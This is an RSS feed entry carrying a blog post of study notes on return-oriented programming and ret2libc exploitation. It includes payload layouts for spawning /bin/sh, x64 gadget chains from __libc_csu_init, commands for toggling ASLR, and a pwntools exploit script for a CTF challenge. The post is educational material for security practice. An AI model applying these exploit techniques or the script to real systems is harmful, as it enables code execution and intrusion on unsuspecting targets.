<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>ROP on Zet’s playground</title>
    <link>https://blog.zet.tw/en/tags/rop/</link>
    <description>Recent content in ROP on Zet’s playground</description>
    <image>
      <title>Zet’s playground</title>
      <url>https://blog.zet.tw/img/blog-cover.png</url>
      <link>https://blog.zet.tw/img/blog-cover.png</link>
    </image>
    <generator>Hugo -- 0.139.0</generator>
    <language>en</language>
    <lastBuildDate>Tue, 31 May 2016 00:00:00 +0800</lastBuildDate>
    <atom:link href="https://blog.zet.tw/en/tags/rop/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Return Oriented Programming</title>
      <link>https://blog.zet.tw/en/posts/2016-05-31-rop/</link>
      <pubDate>Tue, 31 May 2016 00:00:00 +0800</pubDate>
      <guid>https://blog.zet.tw/en/posts/2016-05-31-rop/</guid>
      <description>&lt;p&gt;Some notes.&lt;/p&gt;
&lt;h2 id=&#34;tools-for-finding-gadgets&#34;&gt;Tools for finding gadgets&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;rp++&lt;/li&gt;
&lt;li&gt;ROPgadget&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;ret2libc&#34;&gt;Ret2libc&lt;/h2&gt;
&lt;p&gt;When the program has &lt;code&gt;NX&lt;/code&gt; enabled, shellcode on the stack can&amp;rsquo;t execute; you can use &lt;code&gt;ret2libc&lt;/code&gt;, or use ROP to call &lt;code&gt;mprotect&lt;/code&gt; and open an rwx segment.&lt;/p&gt;
&lt;h3 id=&#34;passing-arguments&#34;&gt;Passing arguments&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x86
via the stack&lt;/li&gt;
&lt;li&gt;x86_64
via registers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;ret2libc-stack-layout&#34;&gt;Ret2libc stack layout&lt;/h3&gt;
&lt;p&gt;Stack the arguments as completely as possible to avoid annoying issues.&lt;/p&gt;
&lt;p&gt;The usual x86 layout is:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;padding +  function + ret address + argv1 + argv2 + argv3 ....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The function can usually jump straight to &lt;code&gt;.plt&lt;/code&gt;; the ret address is where you want to go after it finishes. If you&amp;rsquo;re just building system(&amp;quot;/bin/sh&amp;quot;), the ret address can be left blank.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Some notes.</p>
<h2 id="tools-for-finding-gadgets">Tools for finding gadgets</h2>
<ul>
<li>rp++</li>
<li>ROPgadget</li>
</ul>
<h2 id="ret2libc">Ret2libc</h2>
<p>When the program has <code>NX</code> enabled, shellcode on the stack can&rsquo;t execute; you can use <code>ret2libc</code>, or use ROP to call <code>mprotect</code> and open an rwx segment.</p>
<h3 id="passing-arguments">Passing arguments</h3>
<ul>
<li>x86
via the stack</li>
<li>x86_64
via registers</li>
</ul>
<h3 id="ret2libc-stack-layout">Ret2libc stack layout</h3>
<p>Stack the arguments as completely as possible to avoid annoying issues.</p>
<p>The usual x86 layout is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>padding +  function + ret address + argv1 + argv2 + argv3 ....
</span></span></code></pre></div><p>The function can usually jump straight to <code>.plt</code>; the ret address is where you want to go after it finishes. If you&rsquo;re just building system(&quot;/bin/sh&quot;), the ret address can be left blank.</p>
<p>For example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&#39;A&#39;*100 + p32(system_addr) + p32(0) + p32(binsh_addr)
</span></span></code></pre></div><p>x64:
Use some <code>pop reg</code> gadgets to set up the registers.</p>
<h3 id="x32">x32</h3>
<p>Arguments are stacked directly on the stack; use pop_ret to clear the used arguments.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>read @ plt
</span></span><span style="display:flex;"><span>pop_pop_pop_ret
</span></span><span style="display:flex;"><span>0
</span></span><span style="display:flex;"><span>addr
</span></span><span style="display:flex;"><span>length
</span></span><span style="display:flex;"><span>system @ plt
</span></span></code></pre></div><h3 id="x86_64">x86_64</h3>
<ul>
<li>Max address <code>0x00007fffffffffff</code></li>
</ul>
<h3 id="dynelf">DynELF</h3>
<p>If you don&rsquo;t know the target&rsquo;s libc, you can use a pwntools tool called <code>DynELF</code>: give it a leak point and it can find function addresses for you.</p>
<p>This is cfy from the 31c3 CTF, which you can use for practice:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>printf_got <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x601020</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">leak</span>(addr):
</span></span><span style="display:flex;"><span>    r<span style="color:#f92672">.</span>sendline(<span style="color:#e6db74">&#39;2&#39;</span>)
</span></span><span style="display:flex;"><span>    r<span style="color:#f92672">.</span>sendline(p64(addr) )
</span></span><span style="display:flex;"><span>    s <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>recvline_contains(<span style="color:#e6db74">&#39;hex: 0x&#39;</span>)[<span style="color:#ae81ff">5</span>:]<span style="color:#f92672">.</span>strip()
</span></span><span style="display:flex;"><span>    s <span style="color:#f92672">=</span> p64( int(s,<span style="color:#ae81ff">16</span>) )
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#39;localhost&#39;</span>,<span style="color:#ae81ff">4000</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ptr_libc <span style="color:#f92672">=</span> u64(leak(printf_got))
</span></span><span style="display:flex;"><span>d <span style="color:#f92672">=</span> DynELF(leak, ptr_libc)
</span></span><span style="display:flex;"><span>system <span style="color:#f92672">=</span> d<span style="color:#f92672">.</span>lookup(<span style="color:#e6db74">&#39;system&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print r<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">&#39;quit&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>sendline(<span style="color:#e6db74">&#39;7&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>sendline(<span style="color:#e6db74">&#39;/bin/sh</span><span style="color:#ae81ff">\x00</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;A&#39;</span><span style="color:#f92672">*</span><span style="color:#ae81ff">8</span> <span style="color:#f92672">+</span> p64(system) )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>interactive()
</span></span></code></pre></div><h3 id="aslr">ASLR</h3>
<ul>
<li>aslr on</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>sudo sysctl -w kernel.randomize_va_space=2
</span></span></code></pre></div><ul>
<li>aslr off</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>sudo sysctl -w kernel.randomize_va_space=0
</span></span></code></pre></div><p>If ASLR is on, locally on 32-bit you can disable it with <code>ulimit -s unlimited</code>, or you can use <code>puts</code> to leak data in the <code>.got</code> section — the offsets between libc functions are fixed.</p>
<p>Commonly seen functions:</p>
<ul>
<li>__libc_start_main</li>
<li>puts</li>
<li>read</li>
<li>write</li>
<li>&hellip;..</li>
</ul>
<h2 id="x64-general-purpose-gadgets">x64 general-purpose gadgets</h2>
<p>All of these functions can be used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>_init
</span></span><span style="display:flex;"><span>_start
</span></span><span style="display:flex;"><span>call_gmon_start
</span></span><span style="display:flex;"><span>deregister_tm_clones
</span></span><span style="display:flex;"><span>register_tm_clones
</span></span><span style="display:flex;"><span>__do_global_dtors_aux
</span></span><span style="display:flex;"><span>frame_dummy
</span></span><span style="display:flex;"><span>__libc_csu_init
</span></span><span style="display:flex;"><span>__libc_csu_fini
</span></span><span style="display:flex;"><span>_fini
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>ROPgadget --binary ./binary --depth 100
</span></span></code></pre></div><p>Different versions have slightly different gadgets, but they&rsquo;re all usable — they live in __libc_csu_init()</p>
<p>If some instructions are cut in half, you can still operate on registers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>&lt;__libc_csu_init&gt;:
</span></span><span style="display:flex;"><span>5b                       pop    rbx
</span></span><span style="display:flex;"><span>5d                       pop    rbp
</span></span><span style="display:flex;"><span>41 5c                    pop    r12   -&gt;   pop rsp (5c)
</span></span><span style="display:flex;"><span>41 5d                    pop    r13   -&gt;   pop rbp (5d)
</span></span><span style="display:flex;"><span>41 5e                    pop    r14   -&gt;   pop rsi (5e)
</span></span><span style="display:flex;"><span>41 5f                    pop    r15   -&gt;   pop rdi (5f)
</span></span><span style="display:flex;"><span>c3                       ret
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>mov    rbx,QWORD PTR [rsp+0x8]
</span></span><span style="display:flex;"><span>mov    rbp,QWORD PTR [rsp+0x10]
</span></span><span style="display:flex;"><span>mov    r12,QWORD PTR [rsp+0x18]
</span></span><span style="display:flex;"><span>mov    r13,QWORD PTR [rsp+0x20]
</span></span><span style="display:flex;"><span>mov    r14,QWORD PTR [rsp+0x28]
</span></span><span style="display:flex;"><span>mov    r15,QWORD PTR [rsp+0x30]
</span></span><span style="display:flex;"><span>add    rsp,0x38
</span></span><span style="display:flex;"><span>ret
</span></span></code></pre></div><p>Using these gadgets you can control r12-r15; for the <code>call qword ptr [r12+rbx*8]</code>, set <code>rbp to 1 and rbx to 0</code> so that it keeps returning. It&rsquo;s clearer if you step through this part yourself.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>4c 89 ea                 mov    rdx,r13
</span></span><span style="display:flex;"><span>4c 89 f6                 mov    rsi,r14
</span></span><span style="display:flex;"><span>44 89 ff                 mov    edi,r15d
</span></span><span style="display:flex;"><span>41 ff 14 dc              call   QWORD PTR [r12+rbx*8]
</span></span></code></pre></div><h2 id="one-gadgets-rce">One gadgets RCE</h2>
<p>Some specific libc versions hide a spot that directly runs execv(&quot;/bin/sh&quot;). Look near where libc uses execv for a hidden &ldquo;/bin/sh&rdquo; string — sometimes it just works.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
